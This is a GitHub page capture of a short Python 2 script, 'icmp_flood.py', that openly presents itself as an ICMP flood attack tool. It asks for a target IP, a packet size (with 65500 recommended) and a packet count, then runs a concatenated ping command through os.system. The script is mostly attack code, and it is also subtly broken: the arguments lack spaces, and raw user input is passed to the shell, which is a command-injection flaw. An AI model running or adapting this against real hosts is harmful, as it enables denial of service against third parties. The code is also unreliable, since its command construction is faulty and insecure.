-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathicmp_flood.py
46 lines (23 loc) · 1.06 KB
/
icmp_flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# This is python script for peforming the icmp flood attack
# 789sk.gupta@gmail.com
# icmp_ping for defragmentation of the network packets
import os
import sys # system commands exexution module
import time
# import socket
def icmp_startattack():
hostip = raw_input("target system's ip address")
ippacketData = input("Enter the size of each of the ip packet")
number = input("Enter the number of packets to sent")
# recommended size 65500 which is max available for ip packet
print "Attacking the target with crafted icmp packets"
# execution of the attack in the shell
# t = time.time()
os.system("ping" + hostip + "-l" + ippacketData + "-n" + number)
# os.popen("ping 192.168.43.1 -w 1 -n 2")
# os command to start attack
# where n points to time b/w per echo request and reply
# and n points to the number of packets with which every icmp request is to be sent to the h
icmp_startattack() # called the main attack execution function
print "Attack finished"
#temporarily program ends